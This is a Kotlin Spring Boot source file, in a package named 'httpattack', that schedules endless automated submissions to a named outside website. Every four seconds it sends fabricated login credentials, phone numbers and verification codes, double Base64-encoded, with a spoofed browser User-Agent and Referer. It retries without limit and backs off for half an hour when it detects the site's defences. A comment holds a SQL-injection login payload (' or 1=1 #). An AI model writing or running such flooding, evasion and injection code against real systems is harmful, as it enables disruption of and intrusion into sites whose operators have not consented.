package com.mlfc.httpattack

import com.fasterxml.jackson.databind.ObjectMapper
import org.slf4j.LoggerFactory
import org.springframework.http.HttpEntity
import org.springframework.http.HttpHeaders
import org.springframework.http.HttpMethod
import org.springframework.http.HttpStatus
import org.springframework.scheduling.annotation.Scheduled
import org.springframework.stereotype.Component
import org.springframework.web.client.RestTemplate
import org.springframework.web.util.UriComponentsBuilder
import java.nio.charset.StandardCharsets
import java.util.Base64
import kotlin.random.Random

@Component
class ScheduledTask(
    private val restTemplate: RestTemplate  // 构造函数注入RestTemplate
) {
    private var condition = true // 是否执行的指定条件
    private val logger = LoggerFactory.getLogger(javaClass)
    private val objectMapper: ObjectMapper = ObjectMapper()

    data class LoginData(
        val act: String = "sv",
        val data: UPData = UPData()
    )

    data class UPData(
        val user: String = Random.nextLong(100000L, 9999999999L + 1).toString(),
        val pass: String = PasswordGenerator.generatePassword()
    )

    //{"act":"sv","data":{"user":"55556688","pass":"' or 1=1 #"}}
    @Scheduled(fixedRate = 4000)
    fun setup() {
        if (condition) {
            stepIn()
            Thread.sleep(1000)
            stepPhone()
            Thread.sleep(1000)
            stepCode()
            if (!condition) {
                Thread.sleep(1800000)
                condition = true
            }
        } else {
            // 不满足条件时直接执行的任务逻辑
        }

    }

    fun stepIn() {
        request("step_in", LoginData())
    }

    data class PhoneData(
        val act: String = "sv",
        val data: PHData = PHData()
    )

    data class PHData(
        val phone: String = PhoneNumberGenerator.generateRandomPhoneNumber(),
    )

    //{"act":"sv","data":{"phone":"12345678910"}}
    fun stepPhone() {
        request("step_phone", PhoneData())
    }

    data class CodeData(
        val act: String = "sv",
        val data: COData = COData()
    )

    data class COData(
        val code: String = Random.nextLong(100000L, 999999L + 1).toString(),
    )

    //{"act":"sv","data":{"code":"1234"}}
    fun stepCode() {
        request("step_code", CodeData())
    }

    fun <T> request(module: String, data: T) {
        // 记录任务开始时间
        try {
            // 1. 创建请求头并设置Cookie
            val headers = createHeaders(module)
            // 2. 构建带动态参数的URL
            val baseParams = mapOf(
                "sv" to encode(convertToJson(data))
            )
            val url = buildUrlWithDynamicParams(baseParams)
            // 3. 创建包含头信息的请求实体
            val requestEntity = HttpEntity<Unit>(headers)
            // 4. 发送请求并处理响应
            var responseEntity = null as org.springframework.http.ResponseEntity<String>?
            while (responseEntity == null) {
                try {
                    responseEntity = restTemplate.exchange(
                        url,
                        HttpMethod.GET,
                        requestEntity,
                        String::class.java
                    )
                } catch (e: Exception) {
                    logger.error("请求发生异常", e)
                }
            }

            // 5. 处理响应
            responseEntity.let {
                if (it.statusCode == HttpStatus.OK) {
                    logger.info("响应内容: ${it.body}")
                    logger.info("响应长度: ${it.body?.length ?: 0} 字节")
                    if (it.body == null) {
                        condition = false
                        logger.warn("对方开启防御措施，暂时休息半小时")

                    }
                    if (it.body!!.contains("baidu") || it.body!!.contains("location.href") || it.body!!.length < 100) {
                        condition = false
                        logger.warn("对方开启防御措施，暂时休息半小时")
                    }
                    // 可以在这里添加对响应内容的解析逻辑
                } else {
                    logger.warn("请求失败，状态码: ${it.statusCode}")
                }
            }
        } catch (e: Exception) {
            logger.error("请求发生异常", e)
        }
    }

    private fun <T> convertToJson(item: T): String {
        return try {
            // 使用writeValueAsString方法直接转换
            objectMapper.writeValueAsString(item)
        } catch (_: Exception) {
            "{}" // 转换失败时返回空数组
        }
    }

    fun encode(json: String): String {
        return base64Encode(base64Encode(json))
    }

    fun base64Encode(text: String): String {
        // 将文本转换为字节数组（指定UTF-8编码）
        val textBytes = text.toByteArray(StandardCharsets.UTF_8)
        // 进行Base64编码
        val encodedBytes = Base64.getEncoder().encode(textBytes)
        // 将编码后的字节数组转换为字符串
        return String(encodedBytes, StandardCharsets.UTF_8)
    }

    // 创建请求头
    private fun createHeaders(module: String): HttpHeaders {
        val headers = HttpHeaders()
        headers.add(
            "User-Agent",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
        )
        headers.add("Accept", "application/json, text/plain, */*")
        headers.add("Referer", "http://k.praveenhousing.com/$module/")
        return headers
    }

    // 构建带动态参数的URL
    private fun buildUrlWithDynamicParams(baseParams: Map<String, String>): String {
        // 创建UriComponentsBuilder并添加基础参数
        val uriBuilder =
            UriComponentsBuilder.newInstance().scheme("http").host("k.praveenhousing.com").path("/app/data.php")
        baseParams.forEach { (key, value) ->
            uriBuilder.queryParam(key, value)
        }
        // 添加动态参数（例如时间戳，防止缓存）
        uriBuilder.queryParam("timestamp", System.currentTimeMillis())
        return uriBuilder.build().toUriString()
    }

}